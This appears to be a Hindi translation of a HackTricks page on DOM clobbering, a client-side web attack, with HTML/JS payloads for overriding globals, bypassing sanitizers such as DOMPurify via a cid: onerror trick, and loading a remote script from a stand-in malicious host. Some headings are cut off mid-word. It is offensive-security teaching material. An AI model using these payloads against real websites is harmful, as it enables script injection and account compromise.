Dom Clobbering

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

मूल बातें

HTML टैग में id और name विशेषताओं के साथ JS संदर्भ में वैश्विक चर उत्पन्न करना संभव है।

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

केवल कुछ तत्वों का उपयोग करके नाम विशेषता को ग्लोबल्स को ले जाने के लिए किया जा सकता है, वे हैं: embed, form, iframe, image, img और object.

दिलचस्प है, जब आप एक फॉर्म तत्व का उपयोग करके एक वेरिएबल को क्लॉबर करते हैं, तो आपको तत्व के खुद का toString मान मिलेगा: [object HTMLFormElement] लेकिन एंकर के साथ toString एंकर href होगा। इसलिए, अगर आप a टैग का उपयोग करके क्लॉबर करते हैं, तो आप मान को स्ट्रिंग के रूप में व्यवहार करते समय नियंत्रित कर सकते हैं:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

एक एरे और ऑब्ज

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

एक तीसरा विशेषता (उदा. x.y.z) को clobber करने के लिए, आपको एक form का उपयोग करना होगा:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering अधिक विशेषताएँ अधिक जटिल है लेकिन फिर भी संभव है, iframes का उपयोग करके:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

स्टाइल टैग का उपयोग आईफ्रेम को रेंडर करने के लिए पर्याप्त समय देने के लिए किया जाता है। इसके बिना आपको अनिर्धारित अलर्ट मिलेगा।

गहरे गुणों को अधिक बदलने के लिए, आप एचटीएमएल एन्कोडिंग के साथ आईफ्रेम्स का उपयोग कर सकते हैं:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

फ़िल्टर बाईपासिंग

यदि एक फ़िल्टर नोड की संपत्तियों के माध्यम से लूप कर रहा है जैसे कि document.getElementByID('x').attributes तो आप विशेषता .attributes को ओवरराइड कर सकते हैं और फ़िल्टर को तोड़ सकते हैं। अन्य DOM गुण संयोजन जैसे tagName, nodeName या parentNode और अधिक भी ओवरराइड किए जा सकते हैं।

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObject को Clobber करना

जावास्क्रिप्ट में यह आम है कि हमें यह मिलता है:

var someObject = window.someObject || {};

वेब पृष्ठ पर HTML को मनिपुलेट करने से someObject को एक DOM नोड से ओवरराइड किया जा सकता है, सुरक्षा विकल्पों को प्रवेश करने की संभावना होती है। उदाहरण के लिए, आप someObject को एक आपत्तिजनक स्क्रिप्ट पर इंगित करने वाले एंकर तत्व के साथ बदल सकते हैं:

<a id=someObject href=//malicious-website.com/malicious.js></a>

एक वंलरेबल कोड में जैसे:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

यह विधि अनचाहे कोड को निष्पादित करने के लिए स्क्रिप्ट स्रोत का शोषण करती है।

ट्रिक: DOMPurify आपको cid: प्रोटोकॉल का उपयोग करने देता है, जिसमें डबल-कोट्स को URL-encode नहीं किया जाता है। इसका मतलब है कि आप कोड को रनटाइम पर डीकोड करने वाले एक एन्कोडेड डबल-कोट को इंजेक्ट कर सकते हैं। इसलिए, कुछ इंजेक्ट करना जैसे <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> HTML एन्कोडेड &quot; को रनटाइम पर डीकोड करने और एट्रिब्यूट मान से बचने के लिए onerror इवेंट बनाने के लिए होगा।

एक और तकनीक form एलिमेंट का उपयोग करती है। कुछ क्लाइंट-साइड लाइब्रेरी नए बनाए गए फॉर्म एलिमेंट के एट्रिब्यूट की जांच करती हैं उन्हें साफ करने के लिए। हालांकि, एक input को फॉर्म के अंदर id=attributes के साथ जोड़कर, आप वास्तव में एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट करते हैं, सेनिटाइजर को वास्तविक एट्रिब्यूट्स तक पहुंचने से रोकते हैं।

आप इस प्रकार के clobbering का उदाहरण इस CTF लेख में पा सकते हैं

दस्तावेज़ ऑब्ज

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

तत्व को अद्वार लिखना

document.getElementById() और document.querySelector() के कॉल के परिणाम को एक ऐसे <html> या <body> टैग डालकर परिवर्तित किया जा सकता है जिसमें एक समान id विशेषता हो। यहाँ देखें कि यह कैसे किया जा सकता है:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

इसके अतिरिक्त, इनजेक्ट किए गए HTML/body टैग को छुपाने के लिए स्टाइल का उपयोग करके, innerText में अन्य पाठ की बाधा को रोका जा सकता है, जिससे हमले की प्रभावकारिता बढ़ाई जा सकती है:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

जांच में पाया गया कि SVG में <body> टैग का भी प्रभावी रूप से उपयोग किया जा सकता है:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

चाहे वह Chrome हो या Firefox, SVG में HTML टैग कार्य करने के लिए <foreignobject> टैग आवश्यक है:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

एक फॉर्म के अंदर नए एंट्रीज जोड़ना संभव है बस कुछ टैग्स के अंदर form एट्रिब्यूट को स्पष्ट करके। आप इसका उपयोग करके फॉर्म के अंदर नए मान जोड़ सकते हैं और यहाँ तक कि एक नया बटन भी जोड़ सकते हैं इसे भेजने के लिए (क्लिकजैकिंग या कुछ .click() JS कोड का दुरुपयोग करना):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated